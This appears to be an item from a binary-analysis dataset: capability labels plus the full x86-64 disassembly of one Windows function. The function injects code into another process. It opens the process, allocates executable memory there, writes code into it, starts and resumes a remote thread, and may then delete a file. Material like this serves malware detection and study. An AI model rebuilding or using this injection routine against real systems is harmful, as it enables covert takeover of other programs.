Function at 0x140002ab0
Capabilities:
Allocate or change rwx memory
Delete file
Execute shellcode via indirect call
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x370
mov ebp, edx
mov r14, rcx
xor edx, edx
mov ecx, 0x1f0fff
mov r13, r9
mov esi, 0xffef
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor r15d, r15d
cmp rax, r15
mov rbx, rax
je 0x140003079
lea rcx, str.kernel32
mov dword [rsp + 0x48], r15d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, r15
je 0x140002b29
lea rdx, [rsp + 0x48]
mov rcx, rbx
call rax
mov edi, dword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.kernel32
mov r12, rax
mov dword [rsp + 0x40], r15d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.IsWow64Process
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, r15
je 0x140002b67
lea rdx, [rsp + 0x40]
mov rcx, r12
call rax
cmp edi, dword [rsp + 0x40]
je 0x140002b80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffdd
jmp 0x140003097
lea rcx, [rsp + 0xe2]
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0xe0], r15w
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x2ea]
xor edx, edx
mov r8d, 0x86
call sub.msvcrt.dll_memset
lea rcx, [0x14000e948]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp ebp, r15d
lea rcx, [rsp + 0x2ea]
mov rdi, rax
lea rdx, [0x14000e968]
jne 0x140002bde
lea rdx, [0x14000e978]
call sub.msvcrt.dll_strcpy
lea rdx, [0x14000e988]
lea rcx, [rsp + 0x30a]
call sub.msvcrt.dll_strcpy
cmp ebp, r15d
mov dword [rsp + 0x32c], ebp
je 0x140002c0b
mov rcx, r14
call fcn.1400028dc
lea rcx, [rsp + 0xe0]
mov r8d, 0x104
mov rdx, r14
call fcn.140003554
cmp word [rsp + 0xe0], r15w
je 0x14000306e
lea r8, [0x14000e998]
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x338], r13
call fcn.14000b554
lea r8, [0x14000e9a8]
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x350], rax
call fcn.14000b554
lea r8, [0x14000e9b8]
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x360], rax
call fcn.14000b554
lea r8, [0x14000e9c8]
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x348], rax
call fcn.14000b554
lea r8, [0x14000e9e0]
lea rcx, [rsp + 0x48]
mov rdx, rdi
mov qword [rsp + 0x358], rax
call fcn.14000b554
mov rdx, qword [rsp + 0x358]
mov r12d, 0x20
mov qword [rsp + 0x368], rax
xor eax, eax
lea r8, [rsp + 0x70]
mov qword [rsp + 0x71], rax
mov qword [rsp + 0x79], rax
mov qword [rsp + 0x81], rax
mov dword [rsp + 0x89], eax
mov word [rsp + 0x8d], ax
mov byte [rsp + 0x8f], al
mov qword [rsp + 0x91], rax
mov qword [rsp + 0x99], rax
mov qword [rsp + 0xa1], rax
mov dword [rsp + 0xa9], eax
mov word [rsp + 0xad], ax
mov byte [rsp + 0xaf], al
lea rax, [rsp + 0x50]
mov r9, r12
mov rcx, rbx
mov dword [rsp + 0x340], 0xffee
mov byte [rsp + 0x70], r15b
mov byte [rsp + 0x90], r15b
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x358]
mov rcx, rax
lea rax, [rsp + 0x58]
lea r8, [rsp + 0x90]
mov r9, r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp qword [rsp + 0x50], r12
lea edi, [r12 - 0x1f]
jne 0x140002dc9
cmp qword [rsp + 0x58], r12
jne 0x140002dc9
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
mov r8, r12
call sub.msvcrt.dll_memcmp
cmp eax, r15d
cmove esi, edi
mov r12d, 0x1000
mov r13d, 0x290
xor edx, edx
mov rcx, rbx
mov r9d, r12d
mov r8, r13
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, r12d
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
mov rdi, rax
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp rdi, r15
mov r12, rax
je 0x14000303c
cmp rax, r15
je 0x14000303c
cmp esi, r15d
je 0x14000303c
lea r8, [0x14000283c]
mov r9d, 0x800
mov rdx, rax
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp eax, r15d
jne 0x140002e5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x340], eax
lea r8, [rsp + 0xe0]
mov r9, r13
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rsp + 0x40]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 4
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x20], r12
call fcn.14000c55c
cmp rax, r15
mov r13, rax
jne 0x140002eca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x340], eax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x3c0]
cmp rcx, r15
je 0x140002ee6
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r9d, 0x480
lea rcx, [rsp + 0xb0]
xor edx, edx
mov r8d, r9d
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_PeekMessageW]
cmp eax, r15d
jne 0x140002ee6
mov edx, 0x9c4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r8, [rsp + 0xe0]
mov r9d, 0x290
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [rsp + 0x340]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, r15d
jne 0x14000302a
mov ecx, 0x96
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r13d, 0x480
lea rcx, [rsp + 0xb0]
mov r9d, r13d
mov r8d, r13d
xor edx, edx
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_PeekMessageW]
cmp eax, r15d
jne 0x140002f63
lea r8, [rsp + 0xe0]
mov r9d, 0x290
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x330], 1
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r11, [rsp + 0x40]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], 4
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r12
call fcn.14000c55c
mov rcx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 0x480
lea rcx, [rsp + 0xb0]
xor edx, edx
mov r9d, eax
mov r8d, eax
mov dword [rsp + 0x20], 1
call qword [sym.imp.USER32.dll_PeekMessageW]
cmp eax, r15d
jne 0x140002feb
mov edx, 0x9c4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
cmp rcx, r15
je 0x140003044
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140003044
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov r13d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov r9d, r13d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, r13d
xor r8d, r8d
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003081
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp ebp, r15d
jne 0x140003095
cmp word [r14], r15w
je 0x140003095
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, esi
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret